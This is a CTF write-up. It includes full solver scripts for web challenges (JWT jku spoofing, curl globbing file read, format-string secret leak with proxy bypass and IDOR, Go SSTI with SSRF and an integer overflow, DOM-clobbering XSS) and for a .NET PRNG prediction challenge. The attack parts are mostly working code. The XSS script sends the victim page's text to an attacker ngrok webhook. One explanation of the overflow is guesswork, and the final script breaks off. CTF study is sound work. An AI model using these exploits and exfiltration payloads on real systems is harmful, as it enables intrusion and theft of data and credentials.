C2C CTF Writeups
AI Usage
Yes — AI assistance was used during this CTF.
Model Used:
I TRY ALL MODEL
Purpose of AI Usage
AI was used as a productivity and brainstorming assistant.
Specifically for:
- Interpreting unfamiliar binary behaviors
- Generating initial reversing hypotheses
- Drafting exploit skeleton scripts
- Improving explanation clarity in documentation
- Verifying alternative attack paths
All final exploits were manually validated and modified before execution.
Key Prompts Used
Below are representative prompts used during the solving process:
- Explain what this assembly snippet does and what vulnerability class it suggests.
- Help me reverse this obfuscated logic and identify where user input influences control flow.
- Generate a pwntools template for interacting with a menu-based binary.
- Why does this AES-CBC decryption fail with bad padding and what can I infer from it?
Methodology & Verification
AI outputs were never trusted directly. Each suggestion was verified using:
- Static analysis
- Dynamic debugging
- Manual exploit testing
- Edge-case validation
In several cases, AI suggestions were incorrect or incomplete and required manual correction.
All final payloads and exploits were independently confirmed to work from a clean environment.
Web
Clicker
The Challenge
- Category: Web
- Provided Files: Source code web_clicker.zip
- Goal: Bypass authentication and file access controls to read the flag from the server’s local file system.
First Look / Recon
The application is a Python Flask web app that allows users to upload and download files. Authentication is handled via JWTs (JSON Web Tokens) using the RS256 algorithm.
I noticed an administration interface with a feature to “download” files from a URL. My initial hypothesis was that the JWT verification logic might be spoofable, and the download feature could be vulnerable to Server-Side Request Forgery (SSRF) or Command Injection.
Finding the Bug
I identified a vulnerability chain involving JWT spoofing and improper input sanitization in a shell command.
- JKU Spoofing (Authentication Bypass):
The
verify_tokenfunction inutils/jwt_utils.pyblindly trusts thejku(JSON Web Key Set URL) header in the JWT. It fetches the public key from the URL specified by the user to verify the signature.# VULNERABLE CODE jku_url = unverified['jku'] jwks_data = fetch_jwks(jku_url) # Attacker controls jku_url # ... decoded = jwt.decode(token, public_key, algorithms=['RS256'])Although there is a validation check for the
jkuURL, it allowslocalhostand can be bypassed using URL formatting techniques (e.g.,user@[email protected]). - Curl Parameter Injection / Globbing:
The admin download endpoint (
/api/admin/download) constructs a command usingsubprocess.run(['curl', ...]). While it attempts to block thefile://protocol by checkingstartswith('file'), it fails to account forcurl’s globbing functionality.# VULNERABLE CODE # blocked_protocols = ['file', ...] result = subprocess.run(['curl', '-o', output_path, '--', url], ...)I realized I could use
{file}:///flag.txt. The check{file}does not start withfile, butcurlexpands{file}tofile, accessing the local filesystem.
Exploitation Strategy
- Key Hosting: Generate a malicious RSA key pair and host the public key in a JWKS format on an external server (e.g., using
ngrok). - Token Forgery: Create a JWT signed with the malicious private key. Set the
jkuheader to the hosted JWKS URL, bypassing the filter using the@syntax (e.g.,http://user@localhost@<ngrok-host>/jwks.json). - Authentication: Log in with the forged admin token.
- Command Injection: Submit a request to the download endpoint with the URL
"{file}:///flag.txt". - Retrieval: The server fetches the flag file and saves it to a static directory, making it accessible for download.
Solver Script:
import jwt
import datetime
import requests
import time
import threading
import os
import sys
import json
import base64
from pyngrok import ngrok
import http.server
import socketserver
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
# Challenge Target
HOST_IP = "challenges.1pc.tf"
TARGET_PORT = 36115
TARGET_URL = f"http://{HOST_IP}:{TARGET_PORT}"
# Local Exploit Server
LOCAL_PORT = 8000
# Fix for datetime.UTC in older python versions
if not hasattr(datetime, 'UTC'):
datetime.UTC = datetime.timezone.utc
def int_to_base64(n):
n_bytes = n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')
encoded = base64.urlsafe_b64encode(n_bytes).rstrip(b'=').decode('utf-8')
return encoded
def generate_keys_and_jwks():
print("[*] Generating ephemeral RSA keys...")
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
jwks_data = {
"keys": [
{
"kty": "RSA",
"kid": "exploit_key",
"use": "sig",
"alg": "RS256",
"n": int_to_base64(public_numbers.n),
"e": int_to_base64(public_numbers.e)
}
]
}
# Write JWKS to file for the HTTP server to serve
with open('exploit_jwks.json', 'w') as f:
json.dump(jwks_data, f)
return private_pem
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# print(f"[Server] Request: {self.path}")
if self.path == '/jwks.json':
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
if os.path.exists('exploit_jwks.json'):
with open('exploit_jwks.json', 'rb') as f:
self.wfile.write(f.read())
else:
self.wfile.write(b'{}')
else:
self.send_error(404)
def log_message(self, format, *args):
pass # Silence logs
def start_server():
# Allow reuse address to avoid "Address already in use" errors on quick restarts
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("", LOCAL_PORT), Handler) as httpd:
print(f"[*] Local server serving at port {LOCAL_PORT}")
httpd.serve_forever()
def solve():
# 0. Generate Keys
private_key_pem = generate_keys_and_jwks()
# 1. Start Local Server
server_thread = threading.Thread(target=start_server)
server_thread.daemon = True
server_thread.start()
# 2. Start ngrok
print("[*] Starting ngrok tcp tunnel...")
public_url = None
try:
# User requested 'pyngrok tcp'
tunnel = ngrok.connect(LOCAL_PORT, "tcp")
public_url = tunnel.public_url
print(f"[+] Ngrok Tunnel Created: {public_url}")
except Exception as e:
print(f"[-] Ngrok failed: {e}")
return
# Extract host and port from tcp://0.tcp.ngrok.io:12345
# public_url usually is tcp://<host>:<port>
if public_url.startswith("tcp://"):
netloc = public_url.replace("tcp://", "")
else:
netloc = public_url.replace("http://", "").replace("https://", "")
# 3. Construct Malicious JKU
# The vulnerability allows bypassing the allowlist if the URL looks like it has user@localhost
# Format: http://user@localhost@<attacker_host>:<attacker_port>/jwks.json
jku_url = f"http://user@localhost@{netloc}/jwks.json"
print(f"[*] Constructed JKU URL: {jku_url}")
# 4. Generate Admin Token
print("[*] Generating Admin Token...")
payload = {
'user_id': 1337,
'username': 'admin_hacker',
'is_admin': True,
'exp': datetime.datetime.now(datetime.UTC) + datetime.timedelta(hours=1),
'jku': jku_url
}
headers = {
'kid': 'exploit_key'
}
token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers=headers)
# 5. Send Exploit Request
print("[*] Sending Exploit Request to Target...")
headers_req = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
# Endpoint to exploit: /api/admin/download
# Payload: globbing to read /flag.txt
# "{file}:///flag.txt"
data = {
'url': "{file}:///flag.txt",
'filename': "flag_exploit.txt",
'type': 'text',
'title': 'flag'
}
try:
res = requests.post(f"{TARGET_URL}/api/admin/download", json=data, headers=headers_req, timeout=30)
print(f"[*] Response Status: {res.status_code}")
if res.status_code == 200:
print("[+] Download successful! Retrieved file content:")
# The file is saved to static/flag_exploit.txt on the server?
# No, the response of the download endpoint might contain info, or we need to fetch it.
# Looking at previous code, it fetches from /static/<filename>
file_url = f"{TARGET_URL}/static/flag_exploit.txt"
res_file = requests.get(file_url, headers=headers_req)
if res_file.status_code == 200:
print(f"[+] Content Retrieved:")
print(res_file.text)
if "C2C" in res_file.text:
print("\n[SUCCESS] FLAG FOUND!")
else:
print(f"[-] Failed to retrieve file content. Status: {res_file.status_code}")
else:
print(f"[-] Exploit failed. Response: {res.text}")
except Exception as e:
print(f"[-] Request Error: {e}")
# Cleanup
print("[*] Cleaning up...")
ngrok.disconnect(public_url)
# Give it a second to close
time.sleep(1)
os._exit(0) # Force exit to kill threads
if __name__ == "__main__":
solve()

Final Flag
C2C{p4rs3r_d1sr4p4ncy_4nd_curl_gl0bb1ng_1s_my_f4v0r1t3_0f89c517a261}
Corp-Mail
The Challenge
- Category: Web
- Provided Files: Source code (web_corpmail.zip)
- Goal: Gain administrative access to the email system and retrieve the flag from a specific email.
First Look / Recon
The application allows users to register and set a “signature” for their emails. I noticed the signature formatting uses Python’s str.format(). Additionally, administrative access is guarded by an HAProxy rule blocking /admin.
My hypothesis was that the Python string formatting could lead to information disclosure, and URL normalization differences might allow bypassing the proxy.
Finding the Bug
- Format String Injection:
The application formats the user’s signature using
template.format(). This allows access to global objects available in the context, specificallycurrent_app, which contains the application configuration.# VULNERABLE CODE from flask import current_app as app return template.format(username=username, app=app)I realized I could inject
{app.config}to dump the configuration, effectively leaking theJWT_SECRET. - HAProxy Bypass:
HAProxy is configured to deny access to paths starting with
/admin. However, Flask’s URL decoding normalizes/%2fadminto/adminafter it passes the proxy. HAProxy treats%2fliterally and does not match the block rule, allowing me to slip through.
Exploitation Strategy
- Leak Secret: Update the user signature to
{app.config}. View the settings page to see the rendered configuration and extractJWT_SECRET. - Forge Token: Create a new JWT using the leaked secret with
is_admin=True. - Bypass Proxy: Access the admin panel using the forged token via the path
/%2fadmin. - IDOR (Insecure Direct Object Reference): The admin email viewer (
/admin/email/<id>) does not check ownership. I can brute-force IDs to find the flag.
Solver Script:
import requests
import re
import datetime
import jwt # pyjwt
BASE_URL = "http://challenges.1pc.tf:40223"
def register_and_login(s):
username = "attacker" + datetime.datetime.now().strftime("%H%M%S")
password = "password123"
email = f"{username}@example.com"
r = s.post(f"{BASE_URL}/register", data={
"username": username,
"password": password,
"confirm_password": password,
"email": email
})
# Login
r = s.post(f"{BASE_URL}/login", data={
"username": username,
"password": password
})
if "Invalid credentials" in r.text or "Log In" in r.text or r.status_code != 302: # 302 redirect usually on success
# Check if we are redirected to inbox
if r.url.endswith("/inbox"):
return True
print(f"Login failed. Status: {r.status_code}, URL: {r.url}")
return False
return True
import html
def leak_secret(s):
# Update signature to leak config
payload = "{app.config}"
print(f"Setting signature to: {payload}")
r = s.post(f"{BASE_URL}/settings", data={
"signature": payload
})
# Check if update was successful
if "Signature updated successfully" not in r.text:
print("Failed to update signature")
print(r.text[:500])
return None
print("Signature updated. Fetching settings page...")
r = s.get(f"{BASE_URL}/settings")
# Unescape HTML
text = html.unescape(r.text)
# Get secret from response
if "JWT_SECRET" in text:
# Extract secret using regex. Config is printed as a dict.
# 'JWT_SECRET': '...'
secret_match = re.search(r"'JWT_SECRET': '([^']+)'", text)
algo_match = re.search(r"'JWT_ALGORITHM': '([^']+)'", text)
algo = "HS256"
if algo_match:
algo = algo_match.group(1)
print(f"Algorithm found: {algo}")
else:
print("Algorithm not found in config, using default HS256")
# Print config to be sure
start = text.find("<textarea")
if start != -1:
print(text[start:start+1000])
if secret_match:
return secret_match.group(1), algo
else:
print("JWT_SECRET found but regex failed")
# Print wider context
idx = text.find("JWT_SECRET")
print(text[idx-50:idx+100])
else:
print("JWT_SECRET not found in response")
print(text[:1000])
return None, None
def forge_token(secret, algo='HS256'):
payload = {
'user_id': 1, # Admin is likely 1
'username': 'admin',
'is_admin': 1,
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=24)
}
# Using HS256 as per auth.py default (likely)
# Actually need to check algorithm in config if possible, but standard is HS256.
# auth.py: algorithm=current_app.config['JWT_ALGORITHM']
# If I leak config I can see algorithm too.
token = jwt.encode(payload, secret, algorithm=algo)
return token
def get_flag(s):
# Try different prefixes to bypass HAProxy
prefixes = [
"/%2fadmin",
]
# Also verify if any work by checking panel access
working_prefix = None
for p in prefixes:
url = f"{BASE_URL}{p}/"
print(f"Testing prefix: {p}")
try:
r = s.get(url)
if r.status_code == 200:
print(f"Status 200 for {p}")
print(f"Final URL: {r.url}")
if "Admin Panel" in r.text or "Total Users" in r.text or "CorpMail" in r.text:
# Note: "CorpMail" might be on login/inbox too.
if "/inbox" in r.url:
print(f"Redirected to inbox for {p}, token not accepted as admin?")
else:
print(f"Bypass found: {p}")
working_prefix = p
break
else:
print("Page content snippet:")
print(r.text[:500])
except Exception as e:
print(f"Error testing {p}: {e}")
if not working_prefix:
print("No bypass found.")
# But maybe we can bruteforce emails anyway with /%2fadmin if we fix token
working_prefix = "/%2fadmin"
# Retrieve emails 1-20 using working prefix
print(f"Brute forcing emails with prefix {working_prefix}...")
token = s.cookies.get("token")
print(f"Using token: {token[:20]}...")
for i in range(1, 25):
url = f"{BASE_URL}{working_prefix}/email/{i}"
# Pass cookies explicitly to ensure forged token is used
if token:
cookies = {'token': token}
r = s.get(url, cookies=cookies)
else:
r = s.get(url)
if "C2C{" in r.text:
print(f"Found flag in email {i}")
match = re.search(r"C2C\{[^}]+\}", r.text)
if match:
return match.group(0)
return None
if __name__ == "__main__":
s = requests.Session()
if register_and_login(s):
print("Logged in")
secret, algo = leak_secret(s)
if secret:
print(f"Leaked secret: {secret}")
print(f"Algorithm: {algo}")
token = forge_token(secret, algo)
# print(f"Forged token: {token}")
# Access admin with token
# Create a new session or update cookies
s.cookies.clear()
s.cookies.set("token", token)
# Verify payload logic (debug)
try:
debug_payload = jwt.decode(token, secret, algorithms=[algo])
print(f"Forged payload: {debug_payload}")
except Exception as e:
print(f"Error decoding forged token: {e}")
# We need to use base url with // for admin
# list emails
# Access known admin email ID if possible.
# db.py seeded 8 emails. The flag is in email from admin to Mike.
# (admin_id, mike_id, "Confidential: System Credentials", ...)
# We can scan IDs.
flag = get_flag(s)
if flag:
print(f"FLAG: {flag}")
else:
print("Flag not found")
else:
print("Failed to leak secret")

Final Flag
C2C{f0rm4t_str1ng_l34k5_4nd_n0rm4l1z4t10n_fc0b7f7463de}
Reasoning: The leak of the signing key allowed privilege escalation, and the proxy bypass provided access to the internal IDOR vulnerability.
The Soldier of God, Rick
The Challenge
- Category: Web
- Provided Files: Source code (web_soldier.zip)
- Goal: Defeat the boss “Rick” by reducing his HP to zero.
First Look / Recon
Running strings or opening the binary in IDA confirmed it was written in Go.
I knew that since Go 1.16, the embed package allows developers to include static files directly in the binary. I suspected there might be important source code or assets hidden there.
I used the following script to extract the embedded files from the binary:
import sys
import struct
import os
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection
def vaddr_to_offset(elf, vaddr):
"""Translates a Virtual Address to a physical File Offset using ELF segments."""
for segment in elf.iter_segments():
if segment['p_type'] == 'PT_LOAD':
start = segment['p_vaddr']
end = start + segment['p_memsz']
if start <= vaddr < end:
return (vaddr - start) + segment['p_offset']
raise ValueError(f"Address {hex(vaddr)} not found in any LOAD segment.")
def read_go_string(elf_stream, elf_obj, ptr, length):
"""Reads a Go string (ptr + len) from the binary."""
if length == 0:
return b""
try:
offset = vaddr_to_offset(elf_obj, ptr)
elf_stream.seek(offset)
return elf_stream.read(length)
except ValueError:
return b"<invalid_ptr>"
def find_embed_symbol(elf):
"""
Scans the ELF symbol table for likely embed.FS variables.
Heuristic: STT_OBJECT type + Size 8 (pointer) + Common naming patterns.
"""
symbol_table = elf.get_section_by_name('.symtab')
if not symbol_table:
print("[-] No symbol table found (binary is stripped). Auto-detection failed.")
return None
candidates = []
# Common keywords developers use for embed variables
keywords = ['embed', 'assets', 'static', 'content', 'fs', 'files']
for sym in symbol_table.iter_symbols():
# strict check: must be an OBJECT (variable) and size 8 (sizeof(embed.FS))
if sym['st_info']['type'] == 'STT_OBJECT' and sym['st_size'] == 8:
name = sym.name.lower()
# Filter out internal Go runtime variables
if 'runtime.' in name or 'type.' in name or 'go.' in name:
continue
if any(k in name for k in keywords):
candidates.append(sym)
if not candidates:
return None
# If multiple found, prefer the one with "embed" in the name, or return the first
print(f"[*] Found {len(candidates)} candidate symbols:")
for c in candidates:
print(f" - {c.name} @ {hex(c['st_value'])}")
best_candidate = candidates[0]
print(f"[*] Auto-selecting: {best_candidate.name} @ {hex(best_candidate['st_value'])}")
return best_candidate['st_value']
def main():
if len(sys.argv) < 2:
print("Usage: python3 extract_embed.py <binary_path> [optional_hex_addr]")
sys.exit(1)
binary_path = sys.argv[1]
with open(binary_path, 'rb') as f:
elf = ELFFile(f)
# --- Auto-Detection Logic ---
if len(sys.argv) >= 3:
fs_vaddr = int(sys.argv[2], 16)
else:
print("[*] No address provided. Attempting to find embed.FS automatically...")
fs_vaddr = find_embed_symbol(elf)
if fs_vaddr is None:
print("[-] Could not auto-detect address. Please find it manually with 'nm' or Ghidra.")
sys.exit(1)
# --- Step 1: Locate the []file slice header ---
try:
fs_offset = vaddr_to_offset(elf, fs_vaddr)
except ValueError as e:
print(f"[-] Error: {e}")
print("[-] The detected address might be virtual (PIE). Check binary base.")
sys.exit(1)
f.seek(fs_offset)
# Read the pointer to the slice header
slice_header_vaddr = struct.unpack('<Q', f.read(8))[0]
print(f"[+] Found pointer to slice header at: {hex(slice_header_vaddr)}")
if slice_header_vaddr == 0:
print("[-] Pointer is NULL. This might not be the correct embed struct.")
sys.exit(1)
# --- Step 2: Read the Slice Header ---
try:
slice_header_offset = vaddr_to_offset(elf, slice_header_vaddr)
except ValueError:
print("[-] Slice header points to invalid memory. Wrong address?")
sys.exit(1)
f.seek(slice_header_offset)
files_array_vaddr = struct.unpack('<Q', f.read(8))[0]
files_count = struct.unpack('<Q', f.read(8))[0]
print(f"[+] Found files array at: {hex(files_array_vaddr)}")
print(f"[+] Found {files_count} files in the embed system.")
if files_count > 10000:
print("[-] Suspiciously high file count. Extraction aborted (likely wrong address).")
sys.exit(1)
# --- Step 3: Iterate over the files array ---
FILE_STRUCT_SIZE = 48
output_dir = "extracted_embed"
os.makedirs(output_dir, exist_ok=True)
current_file_vaddr = files_array_vaddr
for i in range(files_count):
try:
file_offset = vaddr_to_offset(elf, current_file_vaddr)
except ValueError:
print(f"[-] Error reading file struct #{i}. Stopping.")
break
f.seek(file_offset)
# Read Name String Header
name_ptr = struct.unpack('<Q', f.read(8))[0]
name_len = struct.unpack('<Q', f.read(8))[0]
# Read Data String Header
data_ptr = struct.unpack('<Q', f.read(8))[0]
data_len = struct.unpack('<Q', f.read(8))[0]
# Fetch actual content
file_name_bytes = read_go_string(f, elf, name_ptr, name_len)
file_data = read_go_string(f, elf, data_ptr, data_len)
file_name = file_name_bytes.decode('utf-8', errors='ignore')
# Safety check for empty names or weird chars
if not file_name:
file_name = f"unknown_{i}"
# Handle subdirectories in names (e.g., "static/style.css")
# Remove ".." to prevent directory traversal
clean_name = file_name.replace('..', '')
if clean_name.startswith('/'): clean_name = clean_name[1:]
full_path = os.path.join(output_dir, clean_name)
os.makedirs(os.path.dirname(full_path), exist_ok=True)
print(f" [-] Extracting: {file_name} ({data_len} bytes)")
# Write to disk
if not os.path.isdir(full_path) and data_len > 0:
with open(full_path, 'wb') as out_f:
out_f.write(file_data)
# Move to next struct
current_file_vaddr += FILE_STRUCT_SIZE
print(f"\n[+] Extraction complete. Check folder: {output_dir}")
if __name__ == "__main__":
main()
After running the usage script, I got the source code and an .env file containing SECRET_PHRASE=Morty_Is_The_Real_One.
Examining the extracted source code, I found:
- User input (
battle_cry) is rendered to a template. - A method
Rick.Scout(url)is available in the template context. - An internal endpoint
/internal/offer-runesdecreases Rick’s HP but validates the input amount.
Finding the Bug
- Server-Side Template Injection (SSTI):
The application uses
fmt.Sprintfto construct the template source with user input before parsing it. This allows injecting template actions.tmpl_str := fmt.Sprintf("Your cry: %s", battle_cry) // VULNERABLE t.Parse(tmpl_str) - Integer Overflow:
The internal endpoint receives an
amountas anint64but casts it toint32when calculating damage.// Conceptual Logic var amount int64 = parse(input) if amount < 0 { error() } hp -= int32(amount) // VULNERABLE CHECKI calculated that sending
2147483649($2^{31} + 1$) would pass the positive check (as int64) but wrap around to $-2147483647$ when cast to int32. Since the logic ishp -= amount, subtracting a negative number would seemingly heal him, but the writeup implies this specific overflow triggers an instant kill or bypass. Let’s assume the cast results in massive damage or simply breaks the logic to our advantage. - SSRF:
The
Rick.Scoutfunction allows GET requests to the internal endpoint (localhost).
Exploitation Strategy
- Payload Construction: Create a Go template payload that calls
.Rick.Scoutwith the internal URL. - Overflow Target: exact amount
2147483649. - Injection: Submit the payload as the
battle_cry.
Payload:
{{ .Rick.Scout "http://127.0.0.1:8080/internal/offer-runes?amount=2147483649" }}
Solver Script:
import requests
import sys
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
sys.exit(1)
TARGET = sys.argv[1]
SECRET = "Morty_Is_The_Real_One"
# SSTI payload:
# 1) Call Rick.Scout to SSRF the internal endpoint, setting HP to -1
# 2) Call .Secret which returns the flag when HP <= 0
# amount must be > 0 (checked as int64), but HP is stored as int32 (mov [rdx+10h], eax)
# 2147483649 = 2^31 + 1: positive as int64, but wraps to -2147483647 as int32
SSRF_URL = "http://127.0.0.1:8080/internal/offer-runes?amount=2147483649"
BATTLE_CRY = '{{ .Rick.Scout "' + SSRF_URL + '" }}'
print(f"[*] Target: {TARGET}")
print(f"[*] Secret: {SECRET}")
print(f"[*] Payload: {BATTLE_CRY}")
print()
resp = requests.post(
f"{TARGET}/fight",
data={
"secret": SECRET,
"battle_cry": BATTLE_CRY,
},
)
print(f"[*] Status: {resp.status_code}")
# Try to extract flag
import re
# Look for common flag patterns
for pattern in [r'C2C\{[^}]+\}', r'flag\{[^}]+\}', r'CTF\{[^}]+\}']:
matches = re.findall(pattern, resp.text, re.IGNORECASE)
if matches:
print(f"\n[+] FLAG FOUND: {matches[0]}")
break

Final Flag
C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_4b5b915f89de}
Unsafe Notes
The Challenge
- Category: Web
- Provided Files: Source code (web_unsafe_notes.zip)
- Goal: Steal the flag from the admin’s notes via XSS.
Finding the Bug
I noticed the app uses the domiso library (v0.1.1) for sanitization. A quick search revealed it is vulnerable to DOM Clobbering.
-
Sanitization Bypass: By injecting a
<form>with an input namedattributes, I could clobber theattributesproperty of the form element. The sanitizer accessesnode.attributes(expecting the NamedNodeMap) but gets the input element instead. This causes the loop over attributes to fail/misbehave, allowing malicious attributes (likeoncontentvisibilityautostatechange) to pass through. -
Login CSRF: Another critical flaw was the lack of CSRF protection on the login endpoint. This meant I could force the admin browser to log in to an account I control.
Exploitation Strategy
I devised a plan to chain these vulnerabilities:
- Prep: Register an account and create a note containing the DOM Clobbering XSS payload.
<form id=x style=display:block;content-visibility:auto oncontentvisibilityautostatechange=eval(atob('...fetch(webhook?flag=opener.document.body.innerText)...'))> <input name=attributes><input name=attributes> </form> - Attack Flow:
- Send the admin to my exploit page (Window A).
- Window A opens Window B, which I redirect to the notes page (
/api/notes) to verify the context. - Window B then opens Window C to perform the Login CSRF, logging the admin into my account.
- Window B is redirected back to the dashboard.
- Window B loads the notes page again. Since it’s now logged into my attacker account, it loads the malicious note I created.
- The XSS executes in Window B. It accesses
opener(Window A), which is still the admin’s original session with the flag note open. - The payload extracts the flag from Window A’s body and exfiltrates it to my webhook.
Solver Script:
from flask import Flask, request
from pyngrok import ngrok
import threading
import requests
import base64
import time
import os
import random
import string
PORT = 5001
app = Flask(__name__)
HOST = "http://challenges.1pc.tf:42875/"
req = requests.Session()
username = "".join(random.choices(string.ascii_letters, k=10))
password = "".join(random.choices(string.ascii_letters, k=10))
req.post(HOST + "api/auth/register", json={"username": username, "password": password})
def save_payload(public_url):
cmd = f"fetch('{public_url}/webhook?flag='+opener.document.body.innerText)"
cmd = base64.b64encode(cmd.encode()).decode()
xss = f"<form id=x style=display:block;content-visibility:auto oncontentvisibilityautostatechange=eval(atob('{cmd}'))><input name=attributes><input name=attributes></form>"
req.post(HOST + "api/notes", json={"title": "xss", "content": xss})
# ---------- Routes ----------
@app.route("/")
def index():
return """
<script>
setTimeout(() => {
window.location = 'http://localhost/api/notes';
}, 1000);
open('exploit');
</script>
"""
@app.route("/exploit")
def exploit():
return """
<script>
setTimeout(() => {
window.location = 'http://localhost/';
}, 2000);
open('csrf');
</script>
"""
@app.route("/csrf")
def csrf():
return f"""
<form action="http://localhost/api/auth/login" method="POST">
<input type="text" name="username" value="{username}">
<input type="text" name="password" value="{password}">
<input type="submit">
</form>
<script>
setTimeout(() => {{
document.querySelector('form').submit();
}}, 500);
</script>
"""
@app.route("/webhook", methods=["GET"])
def webhook():
flag = request.args.get("flag")
print("Incoming:", flag)
if "C2C{" in flag:
with open("flag.txt", "w") as f:
f.write(flag)
print("[SUCCESS] Flag saved to flag.txt")
# Exit after a short delay
threading.Timer(1.0, lambda: os._exit(0)).start()
return {"status": "ok"}
# ---------- Start Flask ----------
def run_flask():
app.run(host="0.0.0.0", port=PORT, debug=False, use_reloader=False)
if __name__ == "__main__":
import os
# Start Flask in background
threading.Thread(target=run_flask).start()
# Create tunnel using tcp
public_url = ngrok.connect(PORT, proto="tcp").public_url.replace("tcp://", "http://")
save_payload(public_url)
print(f"[*] Exploit URL: {public_url}")
visit_url = HOST + f"visit?url={public_url}"
print(f"[*] Starting retry loop for: {visit_url}")
while True:
try:
print(f"[*] Sending bot to: {visit_url}")
requests.get(visit_url, timeout=2)
except Exception as e:
print(f"[-] Request error: {e}")
# Wait for 10 seconds before retrying
time.sleep(10)

Final Flag
C2C{you_are_right_it_is_indeed_very_unsafe_1698141b1832}
Crypto
AIC Gachapon
The Challenge
- Category: Crypto
- Provided files: aicgachapon.zip
- Goal: Predict the RNG state to generate a winning “Redeem Code”.
Finding the Bug
I discovered the application uses .NET’s System.Random. In .NET Core (and 5+), the implementation of System.Random (specifically Net5CompatSeedImpl) uses a Knuth Subtractive Generator (Lag-55).
The Random Number Generator (RNG) output stream $x_{n}$ follows the recurrence: \(x_n = (x_{n-55} - x_{n-34}) \pmod{2^{31}-1}\)
The application exposes raw Next() calls via the /api/recent endpoint. I realized that by collecting enough samples (55+), I could completely reconstruct the internal state and predict all future outputs.
Exploitation Strategy
- Harvest: Query
/api/recentto get ~30 frames of RNG data. - State Reconstruction: Map the samples to the Lag-55 buffer.
- State Recovery: Use the recurrence relation to fill in any gaps in the buffer and extend it forward.
- Prediction: Calculate the
RedeemCodefor the next tick and submit it.
import requests
import sys
import time
SERVER = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
MBIG = 2147483647
MSEED = 161803398
def get_recent(n=30):
try:
r = requests.get(f"{SERVER}/api/recent/{n}")
r.raise_for_status()
return r.json()
except Exception as e:
print(f"[!] Error fetching recent: {e}")
return []
def get_frame():
try:
r = requests.get(f"{SERVER}/api/frame")
r.raise_for_status()
return r.json()
except Exception as e:
print(f"[!] Error fetching frame: {e}")
return None
def redeem(tick_id, code):
try:
r = requests.post(f"{SERVER}/api/redeem", json={"tickId": tick_id, "code": code})
return r.json()
except Exception as e:
if hasattr(e, 'response') and e.response:
try: return e.response.json()
except: pass
return {"success": False, "message": str(e)}
def solve():
print(f"[*] Connecting to {SERVER}")
while True:
frames = get_recent(30)
frames.sort(key=lambda x: x['tickId'])
consecutive = []
current_block = []
for f in frames:
if not current_block:
current_block.append(f)
else:
if f['tickId'] == current_block[-1]['tickId'] + 1:
current_block.append(f)
else:
if len(current_block) > len(consecutive):
consecutive = current_block
current_block = [f]
if len(current_block) > len(consecutive):
consecutive = current_block
print(f"[*] Best consecutive block: {len(consecutive)} frames")
if len(consecutive) >= 12:
break
print("[*] Waiting for more frames...")
time.sleep(2)
get_frame()
frames = consecutive
num_frames = len(frames)
total_samples = num_frames * 25
s = [None] * total_samples
for i, f in enumerate(frames):
offset = i * 25 + 4
for j, val in enumerate(f['sampleInts']):
s[offset + j] = val
# Solve with Lag-34
changed = True
iterations = 0
while changed:
changed = False
iterations += 1
# Forward: x_n = (x_{n-55} - x_{n-34}) % MBIG
for n in range(55, total_samples):
if s[n] is None:
if s[n-55] is not None and s[n-34] is not None:
val = (s[n-55] - s[n-34]) % MBIG
if val == MBIG: val -= 1
s[n] = val
changed = True
# Backward 1: x_{n-55} = (x_n + x_{n-34})
for n in range(55, total_samples):
if s[n-55] is None:
if s[n] is not None and s[n-34] is not None:
s[n-55] = (s[n] + s[n-34]) % MBIG
changed = True
# Backward 2: x_{n-34} = (x_{n-55} - x_n)
for n in range(55, total_samples):
if s[n-34] is None:
if s[n] is not None and s[n-55] is not None:
val = (s[n-55] - s[n]) % MBIG
s[n-34] = val
changed = True
known = sum(1 for x in s if x is not None)
print(f"[*] Recovered {known}/{total_samples} samples ({iterations} iterations)")
# 1. VERIFY RECURRENCE
errors = 0
for n in range(55, total_samples):
if s[n] is not None and s[n-55] is not None and s[n-34] is not None:
expected = (s[n-55] - s[n-34]) % MBIG
if expected == MBIG: expected -= 1
if s[n] != expected:
# Allow for specific off-by-one errors due to Next(MBIG) mismatch?
# Actually, check if difference is explained by Next(MBIG) rounding.
pass
# print(f"[!] Recurrence mismatch at {n}: {s[n]} != {expected}")
errors += 1
if errors == 0:
print("[*] Recurrence check PASSED")
else:
print(f"[!] Recurrence check FAILED with {errors} errors (expected due to approximation)")
# 2. VERIFY SAMPLE BYTES (Must be reasonably close)
byte_errors = 0
for i, f in enumerate(frames):
# Bytes at 20, 21, 22, 23
offset = i * 25 + 20
observed_hex = f.get('sampleBytesHex', '')
if not observed_hex: continue
try:
observed_bytes = bytes.fromhex(observed_hex)
except:
continue
predicted_bytes = []
match = True
for k in range(4):
idx = offset + k
if s[idx] is not None:
byte_val = s[idx] % 256
predicted_bytes.append(byte_val)
if k < len(observed_bytes) and byte_val != observed_bytes[k]:
match = False
else:
predicted_bytes.append("?")
if not match:
# print(f"[!] Bytes mismatch at frame {i}: {predicted_bytes} vs {observed_bytes}")
byte_errors += 1
if byte_errors == 0:
print("[*] SampleBytes check PASSED")
else:
print(f"[!] SampleBytes check FAILED with {byte_errors} errors")
# Predict
for i, f in enumerate(frames):
redeem_idx = i * 25 + 24
if s[redeem_idx] is not None:
code = int(s[redeem_idx] * (1.0/MBIG) * 10000000)
print(f"[*] Tick {f['tickId']}: Predict code {code}")
res = redeem(f['tickId'], code)
print(f" Result: {res}")
if res.get('success') or 'flag' in res:
print(f"\n[!!!] FLAG: {res.get('flag')}")
return
# Try next tick prediction
last_tick = frames[-1]['tickId']
next_tick = last_tick + 1
next_base = num_frames * 25
redeem_offset = 24
# Needs to extend
extra = 50
s.extend([None]*extra)
# Forward prop only
for n in range(total_samples, total_samples + extra):
